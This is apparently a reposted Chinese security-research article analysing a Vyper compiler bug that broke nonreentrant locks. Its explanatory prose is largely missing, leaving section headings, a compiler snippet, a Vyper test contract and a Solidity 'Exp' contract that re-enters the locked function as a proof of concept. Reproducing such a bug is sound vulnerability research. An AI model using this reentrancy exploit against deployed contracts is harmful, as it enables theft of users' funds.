事件背景
原因分析
check_notset = ["assert", ["ne", temp_value, [LOAD, nkey]]]
这个语句的意思是使用load指令读取重入flag的slot,将值存入临时变量中,并断言这个值是否为真。set_data_positions
函数的功能是设置一个合约中所有变量在slot中的位置官方修复
漏洞复现
@nonreentrant("lock")
@external
def a(contract: address):
value: uint256 = 0
raw_call(contract, b"",value=value)
@nonreentrant("lock")
@external
def b():
pass
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;
import "./Itest.sol";
contract Exp{
Itest public test;
uint256 public times;
constructor(address _test) {
test = Itest(_test);
}
function go() public {
test.a(address(this));
}
receive () external payable {
if (times == 0) {
times++;
// test.b();
test.a(address(0));
}
}
}
https://github.com/wangbar0133/vyper_0215
原文始发于微信公众号(山石网科安全技术研究院):Vyper 智能合约重入锁防御失效漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论